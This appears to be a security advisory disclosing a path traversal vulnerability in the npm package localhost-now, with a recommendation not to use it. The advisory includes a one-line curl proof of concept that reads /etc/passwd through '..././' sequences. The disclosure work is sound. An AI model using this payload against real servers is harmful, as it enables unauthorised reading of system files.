Skip to content
OpenAdvisories
High GHSA-73cw-jxmm-qpgh

Path Traversal in localhost-now

Published Jun 11, 2019 · Updated Aug 31, 2020 · Assigned by GHSA

Description

All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2

Proof of concept:

```
$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"
```

## Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

Affected packages

EcosystemPackageAffectedFixedRecord
npm localhost-now <= 1.0.2 — GHSA-73cw-jxmm-qpgh

References